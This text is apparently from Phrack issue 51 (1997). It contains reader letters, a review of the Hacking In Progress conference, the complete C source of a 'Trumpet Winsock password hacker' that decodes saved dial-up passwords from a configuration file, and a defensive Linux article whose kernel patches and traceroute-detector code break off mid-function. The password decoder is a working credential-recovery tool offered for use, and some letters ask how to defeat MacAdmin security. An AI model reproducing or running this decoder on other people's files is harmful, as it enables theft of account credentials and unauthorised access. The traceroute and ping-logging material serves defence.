Interestingly enough, most of the Sun sparc stations I've seen allow you to enter in any mac address that you want using ifconfig(1M). I "know someone" who picked up a Sparc IPC for $50 (Can $$) and upon discovering that the battery that powers the IDPROM was deceased, we needed to fake a mac address to get it to talk to someone. Sun's default is 0:0:0:0:0:0 but the 3Com card's mac (from a different network) worked quite nicely.

Interesting concept the author has though, I'll be f*ck around with the idea when I'm supposedly doing work =)

[MAC address spoofing techniques are well known about, especially under Sparcs. However, do some research, write some code and an article and submit it...]

0x24>---

I love your e-zine it is the coolest thing i've read.

[Thank you. It's the coolest thing we've written.]

Please could you tell me any ways to violate the security of a "MacAdmin" based system on the Apple Macintosh.

[What's a Macintosh?]

Mark "Vombat" Brown

May phrack and Fiona live forever!

[...and may Phrack and Fiona do a joint project some time soon...]

0x25>---

Hey, I sent this to you because yer handle is shorter. Anyways, great job on issue 50, always a pleasure to read it, and in article 12, by Sideshow Bob, I was wondering about the "tail" command. I don't seem to have this nifty util, and was wondering if perchance, you knew where I could get a copy. Also: the Skytel article sorta looked like an advertisement to me. Nothing against that, it's still pretty interesting to learn of Skytel's history, and of the nifty things

out there, but I was wondering if it sounded like a detailed ad to anyone else. But if you could help me out with the tail command, I'd be so grateful.
Joel Thomas

[Standard GNU utility. Try your local unix box.]

0x26>---

> G'day mate,
> I am a computer user in Camplong, Timor. I have limited internet access, as it is a long distance phone call from home. I have downloaded your issues 46-50 and haven't read through them all yet, but what I see looks good. What I need from you is a UUENCODER program so I can extract the included files.

[Standard GNU shell tool. Any Unix host will have it. Do a websearch to get it for Windows.]

> I am also confused on how to extract the .c files from the text files(philes?).

[As it says in the header file: gcc -o extract extract.c

then 'extract filename']

> I am not a C programmer, but my dad is.

[That's nice.]

> I need PGP. Although my side of the internet is safe, noone reading others letters (the sysop is too dumb or something to even think about that) I want my mail to get where it is going in one piece unread. Where can I find a free copy of PGP?

[Do a websearch.]

0x27>---

.. crack me up. Excellent social porno in your reader's letters section. Keep on commenting. Might start screaming soon.

Um, the guy from slovakia might want to get hold of Bill Squire for information on smartcard programmers; as I seem to recall, he likes messing with these electronic devices.

Another thing; I though DC was now just sticking to his viola? According to all the news he only started hacking because someone vandalized it? Wonder if I should have used the same thing in my case: "I plead not guilty, Magistrate sir, but the University's good-for-nothing courses drove me to it." Whatever it takes, I guess..

Yum.

-me.

0x28>---

This is a response to p48-02 in which one "Mr. Sandman" proceeded to spew out eleven paragraphs of blatant misinformation. Rather than lumbering through a point-by-point rebuttal to his letter, I will quickly summarize what was wrong with it, and then state a few facts to clarify some things.

KoV never touched Skidmore. This is something that anyone who was in the group will attest to. And not just to follow the old "admit nothing, deny everything" plan. In reality, we NEVER touched it.

In retrospect, I find it very odd that someone from New York would claim to know so much about the inner workings of a decidedly regional [Connecticut] hacker collective. While we weren't exactly xenophobic, we certainly didn't go out of our way to divulge information about ourselves to anyone outside the group (or the state, for that matter). This would explain why Mr. Sandman's letter was riddled with insufferably laughable lies that were obviously the product of a jealous and dejected outsider.

One thing that needs to be put to rest is that we were certainly not "a bunch of egotistical and immature criminals" as Mr. Sandman would have you believe. The primary focus of KoV's efforts was not to "break into universities" or "make ourselves look bigger and more important than we were." We existed, first and foremost, to unify what was, at that time, a greatly divided scene. Squabbling and infighting among those few real hackers who were still around was leading to a critical breakdown at the fundamental level. Something had to be done, and fast. In an effort to bring together a group of like-minded individuals (not only from the hacker perspective but also in terms of anarcho-libertarian philosophy and ideology), I started KoV with an intentionally humorous name behind the acronym. It was an almost immediate success, and over time I certainly accomplished all that I'd set out to do, and then some.

The current state of the "Connecticut hacker scene" (for lack of better terminology) is much different than it was in the summer of 1994. People are working together, cooperating, and the incessant "civil wars" which plagued us back then are all but nonexistent today. I think I'd be well within my rights to credit KoV with helping to assure that those problems are now but a memory. It really bothers me when anonymous instigators like Mr. Sandman attempt to dishonor all the work that we did to get this far, without even really having a clue as to what we were (and are) all about. Perhaps he and his ilk could benefit from such groups as KoV. Because no matter how I feel about him and his actions...

> "The more we fight among ourselves,
> the less of a threat we are to the system."

- Valgamon
Sat Jun 07 15:49:25 EDT 1997

0x29>--

What up.

Yo, Ima hack/phreak from back in the day (1984)

My 1st bbs was on an atari with a floppy drive and 64k!

Nowadays, I do rap music and acting, live in Los angeles (im from western NY), and run 900#s and adult websites.

Check this out, I need to thangs:

#1: FTP space for adult pix (not really important, since my host gives me unlimited space), but I have no anonymous ftp capabilities)

#2: Windows NT or unix

Can you help??

Have broom (Music software) will travel (trade)

[We will trade you unix for a rap song about Phrack and a movie role for route.]

0x2a>---

This is in reference to the first part of your " PGP Attack FAQ," which addresses the length of time necessary to brute force IDEA. Perhaps I'm overly paranoid (naw...) or just a perfectionist, but I would like to point out two things about this:

1) Somewhat of an error in your math?
2) "As far as present technology is concerned."

"As we all know the keyspace of IDEA is 128-bits. In base 10 notation that is:

340,282,366,920,938,463,463,374,607,431,768,211,456.

To recover a particular key, one must, on average, search half the keyspace. That is 127 bits:

170,141,183,460,469,231,731,687,303715,884,105,728.

If you had 1,000,000,000 machines that could try 1,000,000,000 keys/sec, it would still take all these machines longer than the universe as we know it has existed and then some, to find the key. IDEA, as far as present technology is concerned, is not vulnerable to brute-force attack, pure and simple. "

Somewhat of an error in your math

OK, let's examine the math. For simplicity, let's say we only had one machine that could try 1,000,000,000 keys/sec. The number of seconds it would take for this machine to search half the keyspace, and thus find the correct key would be 170,141,183,460,469,231,731,687,303715,884,105,728 divided by 1,000,000,000. This would yield 170,141,183,460,000,000,000,000,000,000 seconds of maximum search time before finding the key. This in turn would be 2,835,686,391,010,000,000,000,000,000 minutes = 47,261,439,850,100,000,000,000,000 hours = 1,969,226,660,420,000,000,000,000 days = 5,395,141,535,400,000,000,000 years = approximately 5.395 sextillion years. If there are 1,000,000,000 of these machines as you suggest, then the years required for a successful brute force crack would be 5,395,141,535,400,000,000,000 / 1,000,000,000 = 5,395,141.5354. So, it comes down to: are you saying that these 1,000,000,000 machines are acting as a collective entity or can *each* one of these machines operate on 1,000,000,000 keys/sec and thus operate together at a speed of (1,000,000,000) * (1,000,000,000) = 1,000,000,000,000,000,000 keys/sec. If the first is true, then you are correct in saying that "it would still take all these machines longer than the universe as we know it has existed and then some," as it would take app. 5.395 sextillion years (scientists estimnate that universal redshift shows the universe to have existed thus far for only 15 billion years). If the second is true, then it would take far less time than the existence of the universe at app. 5.395 million years... which could be compared to twice the amount of time human beings have existed on earth, or just a fraction of the time dinosaurs were here.

[Hrm. Take it up with Schneier.]

"As far as present technology is concerned."

How far is present technology concerned?! The Intel/Sandia Teraflops Supercomputer can reportedly perform 1.06 trillion floating point operations per second (refer to http://www.intel.com/pressroom/archive/releases/cn121796.htm). Assuming

[Keep in mind that factoring and brute force key searches are integer-based calculations, not floating point operations.]

one of these "instructions" can operate on, let's say something around a 28th power float variable, then disregarding read/write operations, the system can search at 1.06 trillion keys/sec. This yields a total search time (before a successful "hit") of 170,141,183,460,469,231,731,687,303715,884,105,728 / 1.06 trillion = 160,510,550,434,000,000,000,000,000 seconds = 5,089,756,165,470,000,000 years or 5.089 quintillion years... still a rediculous amount of time even on the fastest publicised system in existence. Now, this system, the Intel/Sandia Teraflops Supercomputer is made up of 9,200 200 MHz Pentium Pro processors. Being that they didn't have to buy them at markup/retail and they manufacture them from scratch for their own purposes, let's say it cost $500 per chip plus some negligible ram and labor costs (how much ram do you need when you have a gig+ worth of onboard cache, etc.). With 9,200 chips, the system would take about $4,600,000 to build. A practical question: if federal taxation is %28 on an annual income of $80,000, where does all the money go? Well, let's say a Billion dollars per decade goes to the NSA to build whatever they want. If the 9,200 chip system cost $4,600,000 then a little algebra reveals that with one billion dollars, the NSA could purchase approximately 2 million 200 MHz pentium pros. If the 9200 chip system did 1.06 trillion keys/sec, thus the 2 million chip system would be capable of approximately 230,434,782,609,000 keys/sec or app. 230 trllion keys/sec. Now, say the NSA is smart enough not to buy crappy x86 chips and instead get 500 MHz DEC Alpha RISC chips. This is 300 Mhz or 3 fifths faster than a 200 MHz pentium pro approximately. so 230 trillion + (230 trillion * 3/5) = 368,695,652,174,000 or 368 trillion keys/sec. The original calculation yields that the successful search time would be 170,141,183,460,469,231,731,687,303715,884,105,728 / 368,695,652,174,000 = 461,467,832,499,000,000,000,000 seconds = 14,633,048,975,700,000. Ok, great... so now we're down to 14.6 quadrillion years of search time, which means that at least now we may get REALLY lucky and hit the right key within a certain degree of insanity. But, this was only a billion dollars we gave the NSA in a decade. If we're especially paranoid, let's say the government was so concerned over nuclear terrorists sending encrypted messages, that the NSA got a TRILLION dollars to build a system. That divides the whole equation by a thousand making the search time 14,633,048,975,700 years or 14.6 trillion years... STILL rediculous. Ok, so let's say that now we're giving the NSA a HUNDRED TRILLION DOLLARS thus dividing the search time by 100 yielding 146,330,489,757 years which is about ten times longer than the existence of the universe. But now, if we had 1,000,000,000 of *these* machines working concurrently the search time would wind up being 146.330489757 years. But, if each RISC processor were replaced with a small piece of nanotechnology, each piece of this nanotech being 100 times faster than the alpha chips, you get 1.46330489757 year. There ya have it... some classified nanotechnology, 100 trillion dollars, and a DAMN lot of landmass all multiplied by 1,000,000,000 and you've brute forced IDEA in a year and a half. I won't go into the tedious calculations, but an object with the surface area of two of our moons would approximately be able to house this complex. Now, as I know you're asking about where to store all the keys... and the fact that this drive would be bigger than a solar system and so on, just have the keys generated using the same PRNG in the brute force attack... you'll just have three times the instructions (write for the generation, read to get it, write to compare it) so multiply the search time by three. The technology is possible... it's economics and territory that doesn't work.

[Theorectially shure. But you have sorta just proved the point that it is not feasible.]

--gKHAN

0x2b>--

The snippit in P50 in section 02 of the zine by Xarthon entitled

> Yet another Lin(s)ux bug! "IP_MASQ fails to check to make sure that a
> packet is in the non routable range." "So in conclusion, you are able to
> spoof as if you are on the inside network, from the outside. "

Is so incomplete I would almost call it a lie. The only way that Linux would do this is if the person setting up the IP-Masq system issued the command "ipfwadm -F -p masquerade" which if you read the IP-Masq HOWTO it tells you explicity NOT to do for this very reason. My retort for Xarthon and all others who do stupid ass things like leave port 19 open and such; is that Linux only sux if you do. To wit, don't be a moron, and you won't have to complain that it sucks.

Swift Griggs | UNIX Systems Admin

0x2c>---

Hi there,

I have a question regarding a certain piece of hardware that has come into my possession. Since this little piece of equipment contains no indications of its intended use i have no idea what this thing could do. So here's a descrition of the little box; i hope you might be able to provide me with more information on what this device is supposed to do.

Description:
-lightgrey rectangular casing (13CMx9CMx3CM)
-frontpanel has one green LED, a connector labeled "SCANNER", and a little door which reveals two sets of dipswitches (2 sets of 8, labeled "DIPSW1" and "DIPSW2")
-backpanel has three connectors, a RJ4-like connector (only it has 6 lines instead of 4; it looks like a connector for a Memorex Terminal) labeled "A", a standard IBM-PC keyboard connector labeled "B", and a small (9-pin) serial interface-connector labeled "C".
-there is a sticker with a serial number, a barcode, and "Made in Taiwan" on the bottom
-the circuit-board contains IC's of Sony, Philips, and TExas Instruments
-there is also one removable EPROM, made by AMD; it has a label on it which reads "V2.61 CS:EF88"

I have found that a normal keyboard plugged into connector B, while a KBD-to-RJ-jack cord is plugged into connector A will allow the box to be placed between the keyboard and the kbd-port; so my first guess would be that this is some kind of filtering device. But that doesn't explain why there is a serial-connector and this "SCANNER" connector present.

So, do you know what this thing is ?

-lucipher.

[Readers?]

0x2d>---

hi, my friends.i am a newbie come from China,i had read some Phrack magazine. but to me surprise,i had not success compile a program still now.i send e-mail to the author,but server tell me there is no this user.
for example, phrack-49-15 describle tcp port scan,but i can not find ip_tcp.h, other paper tell me a way to guess password,and said the program only need Ansi complier,but i can not success too. oh.my god.
i use sun os ,gcc, i need your help, thanks.

yours
keven zhong

[Here at Phrack, we use TheDraw for ANSI compilers. I hope that answers your question.]

0x2e>---

I'm just writing this to say thanks to all the hackers that represent Phrack and work hard to keep it going,you guys are truly keeping the new generation alive.If it weren't for Phrack i'd probably never have wanted to waste my time with computer's,the technical info is first class and a lot better than most of the crap out there.I would suggest that maybe once in a while u guys could write some more stuff geared towards the newbies,it really is important because most people who aren't familiar with the terms get completely lost.Down here in Montreal(514),most people think hacking is spreading virri or u/l shitty trojans,there's no talk about unix or networks.We really need some help down here,the scene is practically dead and most newbies don't have any support to help them get started.Anywyas i just want to say keep up the good work,and it's really appreciated.

--
| Return Address: Dave.Conway@claw.mn.pubnix.net
| Standard disclaimer: The views of this user are strictly his/her own.

[Thanks, if anyone cool is in Montreal, e-mail this guy and revive your scene.]

----[EOF

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 03 of 17

-------------------------[PHRACK 51 LINENOISE

--------[Various

0x1>---

A Review of H.I.P.

<torquie@landslide.openix.com>

Out of all of the cons I've been to (and I've been to loads), Hacking In Progress was definitely the coolest and the most surreal hacker con ever. This was definitely a European event though there were a few arrivals from the US. The atmosphere was carnival. It was like an old style con where you got together to meet up with people face to face, exchange ideas and basically have loads of fun.

Around 2500 people attended: hackers, artists, media, police... a total mish - mash of cultures and ideas.

HIP was a total geek-fest. Computer networks were spread across the campsite. In the mornings (when I actually slept) I awoke to the chirping of birds and the booting up of windows95. In the evenings I sat around the campfire chatting to mates while the hardcore's played DOOM and exchanged warez.

During the day there were various activities. One tent held lock-picking classes. In another a group of astronomers had set up telescopes linked to computerized data-tracking equipment that you could print out. The cypherpunks had their own tent set up and I snuck in occasionally for a chat and a cold drink.

There was a videoconference link connected to HOPE but it crashed and was abandoned. In the main marquee, there were lectures on the usual faire of hacker interests: computer security, the legalities of hacking, anonymous re-mailing, cryptography, etc. The weather was boiling and my melted brain found it exceedingly difficult to concentrate. Most of my time I spent outside in the shade or the tent housing the bar, talking to people individually or in small groups.

The public telephones mysteriously malfunctioned on Sunday and could only be used to dial the emergency services. However if you dialed the Dutch equivalent to 911 you got a dial tone, so you could dial anywhere in the world for free. Supposedly this was a 'programming error' on the part of the Dutch Telephone Company.

Smaller more interactive workshops were also held. Though the technical lectures were really interesting, my favourite event was Padeluun's yo-yo workshop. Besides the fact that I got to keep the yo-yo, the workshop itself was farcical performance art. If you know the background you will understand what I mean, if not... Padeluun is a member of the FOEBUD group from Germany. These people do some really brilliant projects and are very politically motivated. One of their projects was to put up networks during the war in the former Yugoslavia. They also work to distribute PGP to groups in countries with oppressive governments. It is not just anyone who could pull off a workshop like this. This was high irony. When I walked up the workshop had already started and I came in on the line 'yo-yoing is good for social engineering, no one finds you a threat when you yo-yo'. As the head of the Dutch Computer Crimes division was in attendance I thought this rather hilarious.

The attitude at HIP was really positive. The European definition of hacking has always been broader than the American definition. Europeans accept the idea of 'social hacking'. Not hacking in the Unix sense but in the sense of subverting technology, whether it be by pirate radio, hacking smartcards, social engineering the feds... or whatever. Unlike some cons I've been to in the past couple of years, the atmosphere of HIP was really mature. There weren't any young kids trashing anything, there weren't any stairwells to flood, no one set off any fire alarms or randomly destroyed anything through boredom, and generally the people who attended had a lot of respect for the event and the organisers. Which means that no one I saw acted like a total wanker and no one is going to run the event out of town.

On a personal note it was brilliant meeting people there and hearing of some of the most recent projects people had on the go. Since the last time this event was held (HEU, 'Hacking at the End of the Universe' held at the same spot in 1993), the hacker scene has changed.

One difference that struck me straight away was the fact that there were just as many females as males. And these women weren't girlfriends or hacker ho's but women that are getting to grips with the technology and using it for various projects.

Felipe Rodrigez who started Hack-tic along with Rop Gonggrip back in the early days of Holland's hacking scene, has always been active on the political front "For us, things have changed. They used to call us criminals and think of us as terrorists. Now we advise the Ministry of Justice. We're the only ones who know the technology here."

Rodrigez also believes that hacking is still a very useful tool in countries like Peru or Serbia where the state is unfair and citizens need to "defend themselves." This view has made him unpopular with the secret services who consider the former Hack-tic more dangerous now that they have power in the business community in Holland.

Though things may have changed since the early days of hacking, the European scene seems to have become something more grown up. "The hacker scene is now pockets of culture. There's alternative media, the old hacker culture, the Unix hackers, irc, even astronomers who are into their own computer culture. It's now for all of the people, which is why we call it Hacking in Progress, we have progressed"

As a summation, HIP was fantastic. It was brilliant to see most of the people I have known in the European scene in one place and to meet some new people who I will definitely keep in touch with the coming years. I'm really looking forward to the next one! If you want photos and other articles check out the HIP site at www.hip97.nl.

0x2>--

To: All it may concern

It has come to my attention, that people are forgetting what hacking is. I'm not speaking about the freedom of information, or the pursuit of learning.. I'm talking about the fact that it is illegal and against the law.. I hear left and right.. " So and So has been busted.. lets protest.. Let's get the Hacker Defense Fund(TM) to help us! "

Hey time to wake up.. YOU ARE A CRIMINAL IF YOU ARE COMPROMISING THE SECURITY OF SITES/PHONE SYSTEMS/ETC..

Not a rant, just a note that it's time to face up to your responsibilities..

- Someone

0x3>--

```
/*
   TRUMPET WINSOCK PASSWORD HACKER by DOCTOR JEEP 11/96

        erode@avana.bbs.comune.roma.it

   written for Turbo C 2.0 (C) (old but cheap :) )

   The author doesn't take any responsabilities for any proper/improper use of
   this program.
*/

<++> winsock_passwd_hack.c
#include <stdio.h>
  unsigned char
spazio[21]={88,75,55,47,114,66,87,92,35,68,69,87,101,38,122,123,45,117,74,78};
  unsigned char name[34], fono[33], passc[33],riga[33],passd[23];
  unsigned char user[11]="$username=", tele[9]="$number=",
pass[11]="$password=";

  FILE *f1;
  int i,v,c,k;

decodi (int ver) {
  int ls,b;
  if (ver==20) ls=10;
  if (ver==21) ls=11;
  b=strlen(passc);
  for (i=ls;i<b;i++) {
      v = passc[i];
      v = v + 32 - spazio[i-ls];
      if (v < 32) v = v + 96;
      if (i-10<21) passd[i-ls] = v;
  }
}

scrivi(int n, int st, unsigned char str[], char messaggi[])
  {
  c=strlen(str);
  printf("%s",msg);
  for(k=n;k<c-st;k++) {
     printf("%c",str[k]);
  }
  printf("\n");

}

main (argc,argv)
  int argc;
  char *argv[];
  {
  printf("\n\nTrumpet Password Hacker by Doctor Jeep 96  NO (C)\n\n");
  if(argc!=2) {
    printf ("Specify the trumpet .ini file with his path \n");
    exit(1);
  }

  f1=fopen(argv[1],"r");
  if (f1==NULL) {
      printf("\nUnable to open configuration file");
      exit(1);
  }

  printf("\n");
  while(!feof(f1))
  {
      fgets(riga,32,f1);
      if (strspn(riga,pass)==10) strcpy(passc,riga);
      if (strspn(riga,user)==10) strcpy(name,riga);
      if (strspn(riga,tele)==8) strcpy(fono,riga);
  }
  fclose(f1);



  scrivi (8,1,fono,"Server’s Tel. #: ");
  scrivi (10,1,name,"Username: ");
  decodi (20);
  scrivi (0,1,passd,"Trumpet 2.0 password: ");
  decodi (21);
  scrivi(0,3,passd,"Trumpet 2.1F password: ");
}
<-->
```

/* END OF FILE by Doctor Jeep */

0x4>---

Tools for (paranoid ?) linux users

by whynot AKA baldor

-> you need basic TCP/IP knowledge to understand this article <-

Recently not only then number of attacks on big / commercial servers and machines with fast connections has increased, but even users with dial-in computers have been attacked or spied on. A good example is the winnuke.c program that has been released on BugTraq and has been used excessively. Although these attacks are not as "threatening" as the attacks that are launched against big servers it can get really annoying if some idiot frequently tries to hack you / takes your machine down / delays you.

Most Linux distributions have reacted to this development and made their telnet/ftp/whatever servers log every access. In this way you can easily put annoying hosts into /etc/hosts.deny. But in my opinion there are (at least) two things missing which I want to discuss in detail...

1. Detecting traceroutes

Traceroute is a really powerful command, which is often used to detect where the computer that is being tracerouted is located and to which network it is connected. Because of some simple reasons you can *not* simply make it impossible for people to traceroute you, so the best you can do is detect *if* someone traceroutes you, find out *who* tracerouted you and confuse him a bit.

1.1 How does traceroute work ?

Basically traceroute just sends out IP/UDP probe-packets to the specified host. To find out how the packet is routed (through which hosts it is going) traceroute uses the TTL (time to live) field of the IP header. This TTL field specifies an upper limit of how many routers this packet can pass through before it gets dropped. Every router decreases the value of the field when the packet in question arrives, until it becomes 0. If this happens the router sends back an ICMP TIME_EXCEED to the sender of this packet (which is the host that is tracerouting).

So the strategy traceroute uses to trace the path of a packet is to send out packets to the target host putting an increasing value (starting with 1) into the TTL field. If a host reports ICMP TIME_EXCEED traceroute prints out its address and the time that passed from the sending of the IP/UDP probe packet until the receiving of the ICMP TIME_EXCEED. After that it will prepare a new probe packet with an IP TTL one greater then the previous packet.

Traceroute will continue doing this until it receives an ICMP PORT_UNREACHABLE packet from the target address, or the max hop count has been reached (defaults to 30).

To understand this we should take a look at the UDP part of the packet we talked about above. To detect somehow that it finally reached the target host and should not try to go any further traceroute uses the connectionless UDP protocol. The UDP part of the probe-packet is addressed to a port which is barley/never used (in nearly all Unix implementations 33434+ the TTL included in the IP-Packet). Since (normally) nothing is listening on port 33434 (and above) the target host sends back an ICMP PORT_UNREACHABLE signal that tells traceroute that it reached the target host and can stop sending any more packets.

Since the strategy of traceroute is a bit complex here is an (a bit simplified) example. Let's say that you are host "source" and tracerouting your way to host "target".

```
    source:/root # traceroute target
    traceroute to target (134.2.110.94), 30 hops max, 40 byte packets
```

Now source sends out a probe packet to target (port 33434) with a TTL of 1. The packet is passing "some_host" and the router decreases the TTL of the packet. It recognizes that the packet has "expired" (TTL=0) and sends back an ICMP TIME_EXCEED to source. Now traceroute uses the information included in this packet to print out data about the first host the packets to target are passing:

```
    1  some_host (142.45.23.1) 2.456 ms
```

Another probe packet is sent out by source, this time the TTL is 2 and the port is 33434+1 = 33435. It gets back another ICMP TIME_EXCEED packet this time from another_host:

```
    2  another_host (142.45.10.1)  3.983 ms
```

The third Probe has the TTL set to 3 and is addressed to port 33436. Traceroute now gets back an ICMP PORT_UNREACHABLE from "target":

```
    3  target (142.45.10.13) 4.032 ms
```

That's it ! Traceroute now finished its job and quits.

```
    source:/root #
```

Please note that traceroute by default sends out three packets containing the same TTL (each packet to an increasing port number) to determine the answering time of a host more accurately. In reality, a traceroute output therefore looks like this:

```
  traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
   1  localhost (127.0.0.1)  1.983 ms  1.304 ms  0.934 ms
```

1.2 The strategy behind the traceroute-detector

Knowing how traceroute works it is very easy to detect. Simply set up sockets listen()ing to the ports 33434 and above and react if they receive any packets. You can even try to guess how many hops the host that is tracerouting you is away by subtracting 33434 from the port-number you received the packet on and dividing the result by three.

Listening to the port traceroute sends the probe-packet to also produces a funny effect: traceroute will neither get back an ICMP TIME_EXCEED nor an ICMP PORT_UNREACHABLE signal. Therefore it will timeout waiting for the reply and put a * into your hosts entry. Because of the timeout traceroute will *not* recognize that it already reached its target and continue sending probe-packets until the maximum number of hops is reached.

With the little program detecttr running (and listening to ports 33434 - 33434*30*3) a traceroute localhost looks like this:

```
   schnecke:/root # traceroute localhost
   traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
     1  * * *
     2  * * *
     .
     .
     .
     30 * * *
```

1.3 Problems detecting traceroutes

The only problem with detecting traceroutes is that one might select another base-port number than the default or use another technique. I have never seen any people doing this though. So if just an average idiot (or wannabe "hAx0r") is tracerouting you chances are really high that you detect it.

If you are *really* paranoid about traceroutes you should not use the ports to detect a trace but edit the file that deals with UDP packets. This /usr/src/linux/net/ipv4/udp.c

(NOTE: this file is a part of the kernel. Recompile your kernel to make changes take effect)

Insert the line:

```
printk(KERN_INFO "UDP: packet sent to unreachable port by %s !\n",
                                                  in_ntoa(daddr));
```

before line 833:

```
ICMP_send(ski,ICMP_BEST_UNTEACH, ICMP_PORT_UNTEACH, 0, de);
```

This will make the system log *all* requests to unreachable ports that are delivered through the UDP protocol. Please note that the funny effect described in 1.2 will not occur (which can also be an advantage).

BTW: Please be careful while editing the kernel - you need it :)

1.4 Sample Implementation

detecttr.c -> see the end of this file

2. Detecting pings

There has been a lot of discussion about ping in the last few months because it was often used to transmit oversized packets to other hosts resulting in crashes. Although this bug has been fixed on most hosts already ping still is very popular to slow down people who are connected to the net through modem lines until they drop carrier themselves because of the BIG lag.

You can *not* prevent people from pinging you (without having your ISP blocking all ICMP_ECHO requests to your host) and therefore causing traffic on your modem line. But you can actually detect *who* pinged you, determine the ping-packet size and decide not to reply (this *may* reduce the data over your modem line up to factor 2).

2.1 How does ping work and how do people slow down others by using ping ?

Simplified ping sends a packet containing an ICMP_ECHO and some data to the target which will reply with an ICMP_ECHOREPLY packet that contains the data sent to it (only some fields are modified).

Normally ping will wait about 1 sec before it sends the next ICMP_ECHO. On many implementations of ping you can bypass this and do a "floodping" which will *not* wait but just send the packets as fast as possible. If you choose a big packet size for the ping packet and you are pinging your victim from a host with a fast connection (T1 or Ethernet) this will cause a lot of traffic on your victims modem line and therefore slow him down to a halt.

2.2 How can I detect a ping and how do I prevent being flooded ?

Since a ping is nothing more than a ICMP_ECHO with some data appended to it you can simply intercept it, extract the senders address and the packet size from it and decide whether you want to reply or not. For non-floodpings you can reduce the amount of data transferred over your modem line simply by choosing not to reply. But if someone is floodpinging you it does not help much to not reply to the ping packets --> the incoming ping packets will probably cause enough traffic to slow you down (unless the host where floodpings come from is has a slow connection). At least you can give it a try anyway...

2.3 Sample implementation

The handling of the ICMP_ECHO is done in the kernel. Edit your /usr/src/linux/net/ipv4/icmp.c file and search for the section "Handle ICMP_ECHO". These 16 lines of code are all you need to modify to defend yourself against / detect ping-floods.

If you know a little C you can easily see that there exists a define "CONFIG_IP_IGNORE_ECHO_REQUESTS" which you can set to have the kernel just ignore all incoming ICMP ECHO_REQUESTs. But we want to be more selective. We want to log all pings that are sent to our machine. We do this by inserting the line

```
printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n",in_ntoa(saddr),
                                                      icmp_param.data_len);
```

before the #endif.

You can easily change the "Handle ICMP_ECHO" section so that your machine only replies to ICMP ECHO_REQUESTs that do not carry too much data and ignore the pings with big packet sizes:

```
<++> DTR/icmp.patch
static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u
32 saddr, __u32 daddr, int len)
{
#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS
        struct icmp_bxm icmp_param;
        if (len <= 1000) { /* we only reply to pings that do carry less than 1k data */
                  icmp_param.icmph=*icmph;
                  icmp_param.icmph.type=ICMP_ECHOREPLY;
                  icmp_param.data_ptr=(icmph+1);
                  icmp_param.data_len=len;
                  if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0)
                      icmp_build_xmit(&icmp_param, daddr, saddr, skb->ip_hdr->tos);
                  printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n", in_ntoa(sadd
r),icmp_param.data_len);
          }
        else
                printk(KERN_INFO "ICMP: possible FLOOD DETECTED by %s, packetsize = %d \n
", in_ntoa(saddr),len );
#endif
        kfree_skb(skb, FREE_READ);
}
<-->
```

```
<++> DTR/detecttr.c
/*
 * detecttr.c - by whynot AKA baldor (whynot@cyberjunkie.com)
 * created: 08.05.97
 * last modified: 11.07.97
 * Platforms: Linux, FreeBSD should work with other POSIX-systems too.
 *
 * Compile:
 * just the usual "gcc -o detecttr detecttr.c" for GNU C and
 * "cc -o detecttr detecttr.c" for other compilers...
 *
 * Usage:
 * Just run this program at the startup of your machine - it will stay in
 * the background until someone traceroutes you. It only uses a *tiny* bit
 * of your memory and nearly 0% CPU :)
 *
 */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <sys/syslog.h> /* simply comment this out if you don’t have syslog.h */
#include <netdb.h>


#define MAXBUFLEN 200
#define MYPORT 33435
#define NUMPORTS 30*3

int sockfd[NUMPORTS];


void shutitdown()
{

        int w;
        char buf[50];
        for (w=0; w<NUMPORTS; w++)
            close(sockfd);
        sprintf (buf,"DetectTraceroute terminated\n");
        syslog(LOG_NOTICE , buf);

        exit(0);
}

char *getname (struct in_addr addr)
{
        struct hostent *h;
        int w;
        char foo[4];   /* the 4 numbers as ASCII-Values per char */
        int tmpint[4]; /* used to convert from a string to 4 numbers */
        char tmpbuf[20];

        sprintf(tmpbuf, "%s", inet_ntoa(addr));

        if ( sscanf(tmpbuf,"%d.%d.%d.%d", &tmpint[0], &tmpint[1], &tmpint[2], &tmpint[3])
  != 4) {
                printf ("Error while detecting hostname !\n");
                exit(1);
        }

        for(w=0; w<4; w++) foo[w]=tmpint[w];

        if ( (h=gethostbyaddr(foo, 4, AF_INET)) == NULL) {
                herror("gethostbyaddr");
                exit(1);

        }
        return  h->h_name;
}

main(int argc, char *argv[])
{
        int hops;
        struct sockaddr_in my_addr;
        struct sockaddr_in remote_addr;
        int addr_len, numbytes;
        char buf[MAXBUFLEN];
        int w;
        fd_set readfds;
        if( fork() !=0 ) return(0); /* we don't want to use that annonying & */


        signal(SIGHUP, SIG_IGN); /* ignore SIGHUP */

        signal(SIGTERM, shutitdown); /* clean shutdown */

        for(w=0; w<NUMPORTS; w++) {

                if ( (sockfd[w] = socket( AF_INET, SOCK_DGRAM, 0)) == -1) {
                        perror("socket");
                        exit(1);

                }
                my_addr.sin_family = AF_INET;
                my_addr.sin_port   = htons (MYPORT+w);
                my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

                bzero(& (my_addr.sin_zero), 8);

                if ( bind (sockfd[w], (struct sockaddr *)&my_addr, sizeof (struct sockadd
r) ) == -1) {
                        perror("bind");
                        exit(1);
                }
        }

        FD_ZERO(&readfds);
        for(w=0; w<NUMPORTS; w++)
            FD_SET(sockfd[w], &readfds);


        sprintf (buf,"DetectTraceroute successfully started\n");
        syslog(LOG_NOTICE , buf);

        while(1) {
                select(sockfd[NUMPORTS-1]+1, &readfds, NULL, NULL, NULL);

                for (w=0; w < NUMPORTS; w++) {
                        if (FD_ISSET(sockfd[w], &readfds))
                            hops = w;
                }

                addr_len = sizeof(struct sockaddr);

                if ((numbytes=recvfrom(sockfd[hops], buf, MAXBUFLEN, 0, (struct sockaddr
*)&remote_addr, &addr_len)) == -1) {
                        perror("recvfrom");
                        exit(1);
                }

                /* we use buf for misc stuff  O:-) */
